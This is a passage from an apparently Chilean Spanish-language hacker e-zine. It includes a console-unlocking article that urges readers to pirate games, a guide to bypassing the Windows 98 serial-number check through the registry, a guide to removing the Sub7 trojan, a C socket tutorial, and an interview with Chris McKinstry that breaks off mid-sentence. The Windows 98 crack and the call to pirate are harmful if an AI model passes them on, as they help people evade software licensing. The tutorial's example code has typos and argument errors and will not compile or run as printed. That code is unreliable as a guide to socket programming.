consola para empezar en el negocio jejeje. pd: te dimos la forma de como desbloquear ahora, donde conseguir juegos?? e ahi el gran dilema!! un mensaje a los "ayuda pobres" apurense en piratear je. Articulo escrito por [BuRToN] con palabras dedicadas a sonogasta.. "cualquier estupido puede desbloquear una consola!! sobre todo con un plano!!" se le agradece a .. Dragon Game KORLAET DEL NORTE gracias por facilitar la consola PSX Y tb por facilitar la Ps one QUE EN PAZ DESCANSE!! Saludos a la tabatita14!! %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% <=--<<< Crackear Win98 Setup >>>-------------------------[ by MoeBiuS ]------=> Hola Amigos, bueno aca comenzamos con un articulo que los ayudara a instalar el Win 98 sin ningun problema.Un dia cualquiera estaba instalando el odioso winbugs cuando de repente me di cuenta que no tena el maldito numero de serie,me dije a mi mismo: - mi mismo que hago? mi mismo se respondio ya que esta basura tiene tantos bugs como mierda no va a tener uno en la instalacion, asi que empeze a insalar y me di cuenta que en un momento ya no usaba el CD y que todos los CABs ya estaban instalados pero no me dejaba hacer uso del win porque no tenia el maldito numero de serie,entonces suspicazmente me dije: - y si entro con modo a prueba de fallos, resultara? y adivinen que, funciono - obvio sino no estaria escribiendo este articulo- y dije hummm... es re charcha el modo a prueba de fallos, tengo el minimo de recursos, no es la idea. Entonces es me fui al regedit - me imagino que saben que es... sino no importa, despues les digo - bueno y dije: en algun lugar debe estar la parte donde se guarda el serial number del win, y asi era. Ahora vamos a lo especifico, ahora les ense~o: +vayan a: HKEY_LOCAL_MACHINE +despus a: software +ubican el directorio: microsoft +ahi doble clic y buscan el directorio: windows +doble clic sobre el dir windows y vayan a: current version a la derecha de la pantalla abra un monton de datos rellena con lo que te plazca los datos en blanco (haciendo doble clic) y listo apagas el sistema, lo vuelves a encender y okidoki te comienza a configurar el hardware, la hora y etc... bueno en cuanto al donde esta la ubicacion se los hare mas facil: +HKEY_LOCAL_MACHINE +software +miscrosoft +windows +current version al lado derecho de la pantalla y ya saben que hacer despues. Bueno AdioX y que esten bien, cuando sepa algo mas les aviso, como dicen en la tele para ustedes MoeBiuS, muchas gracias adelante estudio. Aps! (el equivalente a un ups!), antes que me olvide un saludo a mi seora (babby),puppetmaster, prozac, clan l@bs y a todos los que me conocen jajajaja. :P Bueno, AdioX Por MoeBiuS %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% <=--<<< Eliminando Sub7 >>>--------------------------------[ by CybeR ]------=> Bueno, bueno....cierto es que muchos troyanos han aparecido en los ultimos tiempos...uno se ha destacado (con algunos bugs, pero bueno....) SubSeven by Mobman se ha desparramado en este pais como la lepra (hubo lepra en Chile?)... aca voy a exponer la forma de eliminar este bicho del Windows...mostrando los 5 lugares desde donde se ejecuta el programa.... Ok... directo al grano (los 2 primeros y el ultimo hay que buscarlos en el Registro....ver FYE No 2) 1) \HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Currentversion\Run Buscar cadena mtmtask.dll (suele ser clasica, pero actualmente se puede llamar de cualquier manera....), en todo caso la referencia esta en c:\windows\lo_que_sea.exe o .dll Ante la duda o sopecha de que sea el troyano....filo y lo borras. 2) \HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Currentversion\RunService Lo mismo que en el punto 1. 3) Win.ini Archivo ubicado en c:\windows. Si lo abrimos, veremos que por ahi por la tercera linea (o cuarta?) aparece : run = usualmente esta asi, osea NADA despues del signo igual...(algunos antibichos ckupan esta linea...ojo) , pero puedes encontrar una referencia "rara" run=c:\windows\kernel12.dll si enkuentras algo asi...onda nada que ver...limpias la linea run. 4) System.ini Otro ubicado en c:\windows .Lo mismo, lo abres y en alguna parte aparece algo como esto : [boot] system.drv=atmsys.drv drivers=mmsystem.dll power.drv user.exe=user.exe gdi.exe=gdi.exe sound.drv=mmsound.drv dibeng.drv=dibeng.dll comm.drv=comm.drv shell=Explorer.exe mtmtask.dll keyboard.drv=keyboard.drv fonts.fon=vgasys.fon fixedfon.fon=vgafix.fon oemfonts.fon=vga850.fon 386Grabber=vgafull.3gr Fijate en la linea Shell = , ahi SOLO debe aparecer Explorer.exe y nada mas... (cachaste que en el ejemplo hay 2 archivos?) bueno, solo deletea el "mtmtask.dll" y que quede: Shell=Explorer.exe y por fin el ultimo..... 5) Hkey_Current_User\Software\Microsoft\Windows\Currentversion\Explorer\Doc Find Spec MRU... y al lado derecho c:\windows\kernel12.dll o mtmtask.dll o algo asi medio "raro" (en este sitio NO debieran haber cosas como c:\windows... solo unas "letritas raras"...jejeje). Ahhh...nota de yo : No te vayas a poner a borrar al lote ... primero revisa con cuidado y si es necesario preguntale a algun amigo que se ubique en el tema....ok? En cuanto a los puertos... bueno los clasicos 1243 y 27374 suelen ser la mayoria...pero puede ser cualquier puerto (si editaron el troyano)...en todo caso sigue funkando el c:\netstat -a -n en DOS. Ok...espero les sirva.........bye.................CybeR %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% <=--<<< Programacion de Sockets >>>-----------------------[ by Ytrium ]------=> Sabi que mas no voy hacer intro,vamos directo al grano.Empezamos: Que es un socket? Un socket es un punto de comunicacin entre procesos,permitiendo que un proceso "hable"(reciba o envie informacin) con otro proceso,entendieron? medio denso? ,bueno se los voy a poner de otra forma,un socket es como un telefono,un punto de comunicacin entre dos cosas(personas o,en este caso procesos de maquina). A METER LAS MANOS!!! ***************** (Consejo: si no sabes conceptos bsicos como que es funcion,devolver un valor,puntero,o no sabes como abrir ni cerrar archivos en C,te aconsejo primero pesca un manual de C y despus leete este articulo) Bueno empezamos,lo primero que veremos en este articulo es crear un socket cliente,este tipo de socket lo nico que hace es pedir conexin a la mquina remota,una vez establecida la conexin, puedes enviar o recibir informacin.Veremos 4 funciones elementales,ellas son:socket,connect, write,read. Socket: ****** Archivos de cabecera Llamada: socket(dominio,tipo,protocolo) Definicin:Esta funcin crea un extremo de comunicacin y devuelve un descriptor(definicin sacada del manual de linux).Un poco confuso? bueno lo voy a explicar,esta funcin lo nico que hace es crear un socket,y devuelve "una referencia al socket abierto". importante!!:Si el valor devuelto por esta funcin es -1,significa que ocurri un error y no se pudo crear el socket. Parmetros: Dominio:Especifica el conjunto de sockets que pueden comunicarse con el socket "abierto". Estos son: AF_UNIX:Dominio para una mquina unix.El cliente y el servidor estan en la misma mquina. AF_INET:Dominio para mquinas en internet.este es el que nos interesa y el nico que vamos a ocupar AF_NS:Dominio para redes XEROX. AF_CCIT:Dominio para protocolos CCIT,X25. AF_ISO:Dominio para protocolos ISO. AF_IMPLINK:Capa de enlace en IMP. Tipo:Especifica las propiedades de las comunicaciones que se llevan a cabo a travs del socket (Modo conectado o no conectado,Fiabilidad de la comunicacin, etc). Estos son: SOCK_DGRAM: Tipo de socket en modo no conectado,con envo de datagramas y con tamao limitado(UDP) SOCK_STREAM: Tipo de socket en modo conectado,de dos vas y de tamao variable(TCP) SOCK_RAW: Tipo de socket para protocolos de bajo nivel.(IP ICMP) SOCK_SEQPACKET: Es parecido al SOCK_STREAM,pero con tamao limitado. Protocolo: Especifica un protocolo particular para ser usado con el socket.Este parametro lo dejamos en 0.(por el momento) Creando el socket y la estructura asociada. Bueno hasta ahora harta chachara. Pero como cresta creo un socket.Lo primero que haremos es declarar un int que va a tener el valor devuelto de la funcin socket (el descriptor). int sock Pero,asociado al socket,viene una estructura,dependiendo el dominio del socket.Dado que estamos interesados solo en internet la estructura se declara as: struct sockaddr_in nombre Aqui nombre es solo el nombre,valga la rebundancia,de la estructura. Todavia no "creamos" el socket,para crearlo hacemos invocamos a socket,usamos una asignacin para saber si hubo errores al crear el socket.(claro que los descriptores se utilizan para otras cosas,pero no las vamos a ver) sock=socket(AF_INET,SOCK_STREAM,0) Hemos creado un socket con dominio en Inet,de tipo SOCK_STREAM y con protocolo 0,esta clase de socket es el que mas se ocupa. Bueno ahora las estructuras,antes habiamos dicho que cada socket tenia una estructura asociada, bueno esta estructura es la siguiente: struct sockaddr_in nombre{ short int sin_family; en este caso AF_INET unsigned short int sin_port; puerto al que quieres conectarte struct in_addr sin_addr; direccion de internet char sin_zero[8]; campo de 8 ceros } Un poco confuso?no te preocupes,despues lo explicare con un ejemplo. Lo nico que tienes que preocuparte por el momento es crear el socket(sock=socket(argumentos)), que despues veremos las estructuras.Primero te tendr que explicar las conversiones. Los nicos miembros de la estructura que necesitan conversin son el puerto y la direccin. Para el puerto,por ejemplo digamos que quieres conectarte al puerto 25 entonces lo que haces simplemente es: nombre.sin_port=htons(25); La funcin htons lo que hace es convertir de host byte a network byte. Para convertir digamos una Ip eso es diferente,tienes que usar la funcin inet_addr(IP),lo bueno de esta funcin es que convierte inmediatamente de la notacin de numeros y puntos a network byte. Entonces para conectarnos a la direccin 200.69.69.69 tenemos que poner: nombre.sin_addr.s_addr=inet_addr(200.69.69.69); Listo,tenemos todo,el puerto,la direccin,el dominio y los ceros?.(Luego lo explico sigue leyendo). Entonces quedara una cosa as si nos queremos conectar con el puerto 25 de la direccin 200.69.69.69 nombre.sin_family=AF_INET; nombre.sin_port=htons(25); nombre.sin_addr.s_addr=inet_addr(200.69.69.69); bzero(&(nombre.sin_zero),8); Que es bzero,bueno es una funcin que lo nico que hace es poner a cero los n primeros bytes de una cadena.(man bzero) Hasta ac no hemos creado ninguna conexin,solo el socket y la estructura especificando a donde vamos a conectar,es como si solo hemos fabricado el telfono y hemos marcado los nmeros,ahora falta que me acepten la llamada. La conexin se hace mediante la funcin connect,esta tiene la siguiente forma: connect(int sock,struct sockaddr* serv_addr,int tamao) valor devuelto:0 si conecta,si se produce un error -1. Entonces siguiendo el ejemplo para conectar(o mejor dicho,para pedir conexin) connect(sock,(struct sockaddr*)&nombre,sizeof(nombre)) Si el valor devuelto es 0 entonces conect. Otras funciones que lo nico que hacen es enviar y recibir informacin de un socket son el read y el write,ambas definidas en .Tienen la siguiente forma: read(int desde,void *que_cosa,size_t tamao_de_que_cosa) write(int hacia,const void *que_cosa,size_t tamao_de_que_cosa) digamos que queremos leer 160 bytes desde un socket,entonces ponemos: read(sock,buff,160) Claro,que antes hemos declarado buff como un arreglo de un cierto tamao.(arreglo,array o vector) Para escribir es anlogo,digamos que queremos mandar una cadena de 160 caracteres.entonces escribimos: write(sock,buff,160) Pero que pasa si yo no s el tamao de lo que quiero mandar o recibir,entonces ponemos en el parametro tamao_de_que_cosa un sizeof(que_cosa). Antes de terminar necesitas cerrar el sock,porque si no te queda la crema,la funcion close(sock) cierra el sock.(obvio?).Si no entendiste ve el ejemplo ahi te va ayudar un poco.El siguiente es un programa apto para...(uy me vole),el siguiente es un programa que lo unico que hace es conectarse a una direccin,a traves de un puerto e imprime lo que recibe. /*Dado que algunas personas no tienen claro el concepto de paso de parametros en el main int main(int argc,char *argv) voi a hacer este programa lo mas mula posible*/ #include //cabecera necesaria para la creacion del socket #include //cabecera necesaria para la creacin del socket #include //un poco obvio #include //Esta es nueva esta cabecera es necesaria para sockets de inet main() { int sock; //declaramos el descriptor struct sockaddr_in cliente; //declaramos la estructura asociada char buff[1024]; //declaramos el buffer char ip[15]; //ip int port; //puerto printf("Ingrese IP del server\n"); // Esta parte es obvia scanf("%s",ip); //asi que no la voi a explicar printf("Ingrese puerto\n"); scanf("%d",port); if((sock=socket(AF_INET,SOCK_STRAM,0))<0)//abro el socket y veo si hubo error { printf("Error al crear socket\n"); exit(-1); } cliente.sin_family=AF_INET; //especificamos la familia cliente.sin_addr.s_addr=inet_addr(ip); //especificamos la direccion cliente.sin_port=htons(port); //especificamos el puerto bzero(&(cliente.sin_zero),8) //llenado de ceros if((connect(sock,(struct sockaddr*)&cliente,sizeof(cliente))) > -1) { read(sock,buff,sizeof(buff)); printf("%s\n",buff); exit(0); } else { printf("No pude conectar a %s por el puerto %d",ip,port); exit(-1); } } En el proximo capitulo send,recv y resolucin dns,en los ejemplos hace tu propio 00B nuke(sin lamerias). Si no te quedo claro este articulo es que eri tonto,no mentira, si no entendiste alguna wea mandame un mail. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% <=--<<< Cocinando con Chris McKinstry >>>------------------[ by NDR113 ]-----=> En esta entrevista hablamos con Christopher McKinstry, un canadiense que vive actualmente en Chile operando el VLT, el complejo de telescopios mas grande del mundo. Su vida ha estado ligada siempre a la exploracion y creacion de tecnologia innovadora. A sus 35 aos tiene un curriculum impresionante en informatica -el ao recien pasado dio conferencia en H2K, el encuetro hack organizado por 2600 en USA-; seguridad -trabajo para los militares en norteamerica a los 19 aos-; psicologia -su profesion universitaria-, biologia -aplica los conceptos computacionales al entendimiento del material genetico y la naturaleza de la vida misma-, y actualmente en inteligencia artifcial, siendo el fundador de MindPixel, un proyecto que se ha transformado en el mas importante a nivel mundial en el desarollo de maquinas verdaderamente pensantes. Tuvimos la oportunidad de conversar con el en su departamente durante unas horas, en las nos hablo de sus vida, proyectos y vision sobre el futuro de las tecnologias de la informacion, biotecnologia, ciencia e internet. Chris ha estado en medios como la revista TIME, WIRED, BritishScience, BBC y CNN entre otros. Definitivamente recomendamos la lectura de esta entrevista, la q originalmente se desarrollo en ingles y he tenido q traducir para nuestros lectores. Espero la disfruten. *Quizas tu nombre no le suena a la escena hispana, puedes decirnos quien es Christopher McKinistry?* Soy.. probablemente lo mismo q ustedes... solo que con 20 aos mas... esta es mi segunda computadora, no se si vieron de estas en sudamerica.. tiene 23 aos. *Aun funciona?* tiene Basic incluido... la prendes... instantaneo.. completamente instantaneo, sin linux, windows.. nada. -tipea comandos en la computadora- Asi es basicamente como aprendi. Cuando tenia 12 aos mi madre era una madre soltera.. sin dinero, pobres.. una familia normal y estas maquinas costaba 1000 dolares asi q no podia pagarla. Entonces iba a Radioshack y trabajaba todo el dia en las maquinas pq la gente de la tienda no sabia nada... en los primeros dos meses programe un juego en cassete para jugar ajedrez. Eventualmente vendi copias del programa para poder comprar la maquina. Esta es una maquina muy especial. Esta computadora sera para mi hijo, de un ao. Esta sera su primera computadora y con ella aprendera exactamente como yo, de lo basico... Esta maquina tiene Basic de RadioShack, pero en realidad es Microsoft Basic... el primero... software hecho literalmente por el mismo Bill Gates. *Entonces para ti la mejor forma de aprender es esta.. comenzar de la nada.* si, por ejemplo si estas interesado en autos... compras un auto antiguo, uno q puedas trabajar q no tenga computadoras... por ejemplo si quieres trabajar o aprender acerca de autos no vas a un mercedes... si quieres aprender vas a un Volkswagen Beattle, un escarabajo, lo abres, puedes tocar... armar y desarmar. -nos lleva a su oficina- este es un pentium III normal... 450 mhz...2 aos .. lo compre aca.. no lo traje. Esta -mostrando una especie de placa cubierta con un plastico negro,unas pequeas teclas y un pantalla tipo calculadora- es realmente mi primera computadora... esta es de 1976, kim-1, 1 kb de ram, con una pantalla de 6 digitos. El primer programa de ajedrez escrito para microcomputadores se escribio para esta, y era algo asi como AE, K6... comandos... se necesita un tablero para ubicar las piezas... y una movida: una hora, era muy dificil. Luego de hacer esto lo siguiente que hize fue ir a la universidad... *Sobre eso quisiera preguntarte, algun estudio formal?* A los 17 era programador de juegos para el radioshack I... y hacia dinero.... hacia mas dinero q mi madre, mas dinero q toda mi familia.. a los 17 aos. Era arrogante.. como una estrella de rock... algo famoso... tenia un auto, un Porshe. Asi q no tenia mucho interes en estudiar, por que pensaba q mi vida era perfecta, entonces, para q estudiar? Trabajaria con computadoras. Y en la universidad no entiendian aun a las computadoras. Las Ciencias de la Computacion se impartian con grandes maquinas... mainframes y tarjetas. Yo estaba acostumbrado a interactuar, no queria ir a la universidad a estudiar tarjetas.. era basura!. Entonces fui a estudiar psicologia por mi interes en la mente, queria hacer inteligencia artificial. Mi primer programa fue ajedrez, y ha sido mi vida por un largo tiempo... Estudie psicologia pero en mi segundo ao tuve una oferta para irme Winippeg, en el centro de Canada -como Santiago- a Toronto, como la distancia entre Antofagasta y Santiago, para trabajar para un compaia llamada Lithin Systems que era militar... hacian sistemas guias para misiles cruzeros, asi que, trabaje en Toronto en el area militar, en reactores nucleares *Cuantos aos tenias entonces?* 19. Casi la misma edad que ustedes tienen, es basicamente la misma historia.. los mismos intereses, excepto q estaba solo, no tenia con quien hablar acerca de ello. Me case... mala idea, mala idea... estuve casado por 5 aos, luego me divorcie, volvi a Winippeg y empeze un negocio con un amigo mio, hicimos discos compactos con shareware... juegos shareware en 1991, los vendimos en PC Magazine, en la seccion de avisos clasificados... 50.000, muchos de ellos... hicimos 2 millones de dolares en juegos shareware... si, sin trabajar. Llame a las compaia, dije "tiene juegos?, -si.. -cuantos tiene? -700 1 dolar por disquete -esta bien, 700 por favor" -rie-. Tome los 700 discos, se los di a un amigo q no tenia trabajo y le dije toma, alli esta la computadora.. copia. En 2 semanas los copio, luego copie todo los juegos a una cinta magnetica lo envie por Fedex a un fabricante de CDs, y eso fue todo el trabajo... ahora es imposible, pero entonces funciono... fue por que la navidad del 91 fue la primera navidad en q las computadoras tenian unidades de CDROM.. entonces en nochebuena tenia en frente de mi casa muchos autos y gente, q querian mis discos para la maana de navidad para sus nuevas computadoras. Es acerca del momento exacto, acerca de "timming". Lo mismo q sucedio con Gates. *Hablando de Bill Gates... Que piensas de Microsoft?* ojala fuera dueo de Microsoft. Bill Gates es un muy buen hombre de negocios, el sabe lo que hace *Y q piensas acerca de las acusaciones de monopolio contra Microsoft? O es quizas simplemente la naturaleza de la industria?* Quizas es monopolio, quizas no...no es mi decicion, es una decicion de abogados y jueces. Pero si fuera Bill Gates haria lo mismo "Fuck Off! si quieres mi software dame dinero, si no te gusta mi software.. fuck off! ve y compra linux... me da lo mismo" *Acerca de tus habilidades computacionales, que tipo y cuantos lenguajes de programacion dominas?* Mi primer lenguaje de programacion fue este, assambler para 6502, el procesador de la Apple I y II, luego Basic para el Radioshack y assambler para el procesador Z-80 que tenemos aqui. Esto era antes, por que no tenia otras opciones. Basic es muy lento y el assambler es obviamente mas rapido. Despues assambler para el 8086 IBM PC. Despues de es punto me especialice trabajando en bases de datos, mayormente en Oracle, un tremendo software para bases de datos. Por aos hice software de base de datos, despues de los sharewares no tuve que escribir mas software, luego entonces solo enseaba a alguna gente VisualBasic, por q es facil mostrarle a una persona como hacer software en VisualBasic. No es un muy buen lenguaje para hacer un producto pero es un buen lenguaje para aprender. Ahora por ejemplo en el VLT todo es C++. Solo C++ generico, software de dominio publico... *Cual es tu sistema operativo favorito? que utilizas?* Bien, mi sistema operativo favorito es ningun sistema operativo. -Enciendo y apagando el TRS-80 - esto es... apagado, prendido. Ese es mi sistema operativo favorito. Pero bueno, es imposible ahora asi que cualquier UNIX, no importa cual: linux, unix, aix. Cualquiera. Cualquier cosa con -se acerca al TRS-80 y comienza a teclear-... si puedo hacer esto *linea de comando?* exactamente, soy un tipo de linea de comando. *Acerca de tu relacion con computadoras... estuviste involucrado de que manera con el hacking?* Conoces la pelicula "Juegos de Guerra"? *si* la misma historia... escribes un programa y te pones al telefono explorando numeros hasta que encuentras sistemas bancarios, tiendas *mucho antes de internet* es decir, estaba alli, pero aun no era publica, la internet era solo para universidades . En la universidad siempre hackeaba los sistemas claro... de todas maneras no habia muchas oportunidades de hackear, habian algunas mayormente universidades. Cuando trabaje para los militares mi trabajo era la otra cara, detener el hacking. *Que es mas dificil? hacer hacking o detenerlo?* Detener el hacking es mucho mas dificil porque los hackers son inteligentes -nos mira sonriendo-... es mucho mas dificil pero hay mas dinero en detener el hacking, nadie te paga por hackear, lo haces por que te gusta. Asi que mi vida ha sido detener el hacking. No se si viste en mi website que el primer programa por el que hice dinero a lo grande fue "copy protection". Cuando tenia 17 desarrolle una proteccion de copiado para mis juegos, solo para mis juegos. El sistema de protecccion consistia en daar el disco con una llave al azar. Tomaba un disco lo daaba en un patron al azar. Corria un programa que escaneaba y probaba el disco, y luego aislaba los patrones del disco para copiar el programa disco sin utilizar los secores daados. Despues no se puede copiar en otra computadora. Lo licencie a la IBM... y el sistema se utilizo por todo el mundo dos aos, 1984 y 1985. Despues del 85 los disco duros se volvieron populares y el esquema no funcionaba con ellos, asi que... bueno, mi vida ha sido detener el hacking. *Sobre eso... cuales son tus creancias acerca del hacking? cual es la linea que separa a un curioso y de un criminal?* Para mi es lo mismo que en la vida, sabes? Propiedad es propiedad. Si tu daas mi puerta y te atrapo tienes que pagar por ello. Pero si entras y no haces dao alguno... bueno, alguna gente dira "solo mirar causa dao" y es que en algunos negocios con solo mirar daas. Si miras el codigo fuente de Microsoft, a ellos no les gustaria. Pero para mi la relacion entre hackers y los negocios es importante. Es lo mismo que en la evolucion, es la mismo que entre huesped y anfitrion, ambos mejoran gracias a la competencia. Si no hay hackers el software empeoraria. Es necesario. Y lo otro es que si no hubieran hackers, independiente si son bueno o malos, me quedo sin trabajo... -rie- *Cual fue tu experiencia en H2K,la reunion hack organizada por 2600 en New York donde este ao diste conferencia?* Bueno, fue una experiencia distinta. Los hackers son como ustedes: jovenes interesados en explorar sistemas complejos, punto. Pero desde mi perspectiva muchos de los "speakers" eran gente de mi edad. Recordaban estos sistemas -apuntando a las radioshack-... comodore... etc. Para mi fue una experiencia reunirme con los hackers mas famosos del mundo y decirnos "hey, compadres, aqui estamos.. 25 aos de hacking" y mirar todas las camaras de television. Creo que debe ser la misma experiencia para la gente que toca musica. Tocas musica por 25 ao, te reunes en un gran concierto, la gente va a oirte... te fumas un pucho y dices... "wow, esto es New York!". *fue a mas o menos cool?* fue extremadamente cool. Para mi fue mi primera ves en New York, nunca habia estado alli antes; y caminaba por el Time Square con camaras que me seguian, y la gente decia "Quien es ese?"... jajaja. Fue una experiencia muy extraa. El hecho de recibir un email de ustedes, siendo del otro lado del mundo, este no es mi pais natal... y aun asi ustedes compadres saben quien soy. Es extrao. *Debido el desarollo de la tecnologia y la fundamental importancia que adquiere en nuestras vidas se ha especulado acerca del uso de las computadoras y los hackers como armas militares? Como puede verse afectada la estabilidad de un pais desarrollado como los Estados Unidos frente a posibles ataques digitales en un escenario belico?* Hay un [riesgo] potencial.Donde haya informacion importante esta el potencial de enfretamientos, virus. Es lo mismo que en la biologia. Tu eres software, tu DNA es software y siempre habra gente tras las fronteras tratando de matarte. Eso siempre sera verdad. Por ejemplo el virus ILOVEYOU de las Filipinas. Los filipinos son 80 millones de habitantes y 200.000 computadoras. Es casi nada. Pero mira lo que un chico hizo a los Estados Unidos. Hay un caos potencial. Eso tambien significa que hay un trabajo importante para ustedes *una responsabilidad?* claro, su responsabilidad es hackear tanto como puedan, aprender tanto como puedan, por que es algo que no se aprende en la universidad, solo se aprende en la realidad. Vayan y salgan a explorar. El asunto es entender... linux, programacion, bases de datos como mysql... en la vida real. Para que cuando comienzes a trabajar, protejas el sistema. Por que si nadie protege el sistema los nios pueden romperlo.. -sonrie-. Por ejemplo, vengan por aqui... -nos lleva al living, y nos muestra una placa plastica negra- Saben lo q es? -la toma y la coloca en la entrada de su videograbador vhs, resulta ser una proteccion- ...por que mi hijo no es malo, esta solo explorando... apriendiendo de tecnologia. Al verme colocar cassetes el mete de todo adentro. -mostrando la proteccion- Alguien hizo mucho dinero gracias a esto; y hay equivalentes a estas ideas en sus sistemas: proteccion no contra gente mala, si no, contra nios; los nios en internet es algo bueno, pero crea un potencial de cosas estupidas... -rie y teclea en el aire- rm *, format, shutdown... y no quieres que eso pase. *Volviendo a tu vida... por que viniste a Chile a trabajar en el VLT? Realmente vine a Chile para escribir mi libro *Hacking Consciousness?* exactamente. Solo queria estar a la maxima distancia posible y venir a un lugar donde tuviera muchas opciones y Chile es el mejor lugar para ello en sudamerica. Es el pais mas avanzado de sudamerica y aqui hay suficiente tecnologia como para poder buscar trabajo en caso de necesitarlo. Cuando has trabajado con computadoras por 20 aos puedes trabajar en cualquier lugar que quieras, puedes simplemente caminar a Cerro Paranal y decir "Hola, donde esta mi escritorio?" y trabajar. Pense: "ire a Chile, escribire mi libro, es posible obtener un trabajo en el mejor telescopio del mundo, tener el trabajo mas interesante del mundo..." y bueno, era solo una idea, asi que lo intente y funciono. *Y cual es exactamente tu trabajo en el telescopio?* Manejo el telescopio. Cada noche me siento en el telescopio, en la consola de control. Son 11 estaciones de trabajo HP-UX y controlo hacia donde apunta el telescopio y todo el sistema computacional que controla el telescopio,alrededor de 600 computadoras, una red muy compleja. Si funciona es como un click del mouse y no haga nada mas en 4 horas, mientras el telescopio se mueve y captura la foto. Luego lo mismo, en el intertanto navego por internet -sonrie- Pero si algo va mal tomo la linea de comando eliminando procesos, reiniciando los sistemas... administracion de unix. Algunas veces puede que haya q recompilar algo, por ejemplo los ingenieros pudieron estar haciendo un experimento durante el dia y dicen "oh! se nos olvido compilar con las nuevas librerias", entonces fuck, tengo que volver a versiones anteriores, reinstalar, o cosas por el estilo. Todo en el telescopio va por fibra optica, basicamente tienen lo mejor que se puede comprar. Tienen mucho dinero. Lo unico malo son los monitores, son de 21" pero no son planos, yo queria LCD, pero son muy costosos de traer a sudamerica. Asi que manejo el telescopio cada noche acompaado de un astronomo diferente. Los astronomos que van son de los mas importantes pues este es un telescopio importante; y usualmente obtienen solo una noche en el VLT durante toda su carrera, asi que estan muy nerviosos y no dejan de preguntar "funciona, funciona?". Si tengo problemas los astronomos lloran, por que es solo una noche. Si hay nubes... se dan un tiro... jaja. El astronomo entiende su ciencia y las estrellas, pero no tiene idea sobre los sistemas, acerca de la forma en que trabajan. Soy un taxista de astronomos. Los puedo llevar a cualquier lugar del universo. Es como una nave espacial, incluso luce como una nave espacial, asi que "aqui vamos..!". *Puedes hablarnos de tu libro, "libro"... como tuviste la idea?* Mi primer programa comercial fue un juego de ajedrez, siempre he estado, desde chiquillo, interesado en aprender como ensearles a las maquinas a hacer cosas que nosotros hacemos, cosas complejas. Asi que si entiendes como hacer un juego de ajedrez, entiendes mucho acerca de la inteligencia de las maquinas. Aprendes a tomar una tarea compleja y ponerla en el software en forma de algoritmo. Cuando era joven no sabia que HAL, [2001: Odisea Espacial], no era real, luego cuando tuve una computadora real descubri que son de los mas estupidas. Mi sueo era que eventualmente las computadoras se harian mas grandes, era solo un asunto de almacenamiento y colocar suficiente informacion adentro en el formato correcto. La gente tiene mucho almacenamiento, mucha memoria. Trabaje en ello, escribi un programa que como la Apple Lisa, pretendia ser humano. Podias hablar con el por modem de 300 bauds, acustico, y tendria amigos por todo el mundo que llamarian a mi numero y hablarian a mi programa. Y dirian "Hola como estas?" y el programa responderia "Oh, Bien". La mayoria del tiempo escribrian cosas que el programa desconoce y responderia "No lo se"; y la gente podria decirle una buena respuesta, asi cuando le otra persona le volviera a preguntar ella ya tendria una respuesta. Y asi funcionaba. Pero no era inteligencia real era solo una grabacion, solo repetia. No tenia un verdadero entendimiento. Asi que estaba escribiendo un programa que seria capaz de hacer cosas que los humanos pueden hacer, y serian verdaderas. No frases completas, si no mas bien una sola palabra, por ejemplo yo diria "sombrero" y responderia "cabeza", diria "noche" y diria "oscuro". Asi que estaba tratando se ensearle a las computadoras a asociar palabras y construir conceptos como los nuestros. El siguiente paso era hacer la respuesta mas simple, a la maxima simplesa: si o no, binario. Sin importar lo que les diga a la maquina, como por ejemplo: "las casas estan hechas de agua", tu diras "NO", pero la maquina tiene un 50% de probabilidades de contestar correctamente. Asi que ahora, como es solo binario puedeo utilizar el sistema de "castigo y premio" usando una red neural entrenada. La maquina no puede responder frases completas, solo si o no, pues es muy complejo contruir oraciones enteras, para eso deberia saberlo todo, tener la realidad en su cabeza. El problema que si quieres entrenar a una red neural que entienda la realidad en forma binaria necesitas mucha informacion. Millones y millones de preguntas acerca de todo: sobre zapatos, narices, novias, emociones... No habia forma de poder hacerlo por mi mismo ya que no habia internet. Cuando estudiaba psicologia en la universidad fue donde mi profesor y le dije la idea que tenia, para que me dejara utilizar el sistema computacional de la universidad, que era VAX. Y me dijieron que no, "estas loco, no puede hacerlo". Asi que deje la idea a un lado. Hasta 1994, cuando tuve la internet, pero antes de la web, solo habia newsgroup, email, gopher... Entonces vi Mosaic, de la NCSA. Y pense "ahora puedo obtener mi informacion. Si hago una pagina web con un formulario ellos me enviaran las preguntas por email", por que era imposible implementar aun una base de datos. Lanze el sitio el 94, el mismo ao en que la web comenzo, y como era nueva no habia mucho que hacer asi que mucha gente iba a mi sitio... recivi 450.000 emails. Luego me distraje, estuve produciendo una teleserie para internet. -tomamos asiento en el living, y Chris nos mostro un video de 5 minutos sobre su proyecto llamado CR6, y basado en lo que llamo Clickleable Reality, un motor interactivo que permitia seguir en profundidad la historia que se desarrollaba en el sitio, quizas la primera teleseria en linea interactiva. Cabe destacar que el nivel de produccion que se aprecio era de muy alto nivel y la envergadura del proyecto era enorme si pensamos que se desarrollo en los primeros aos de la internet, con conecciones de 14 kbps.- *pareciese que CR6 fue un atisvo de lo que podria ser la television interactiva* Exactamente, es acerca de que generaciones. La vida de mi generacion y la de mis amigos ha sido la television. Pero mi hijo -"conectando" un teclado a la tele- tendra otro tipo de television. Todo es acerca de control. Mis amigos no tienen control, cero control, no pueden 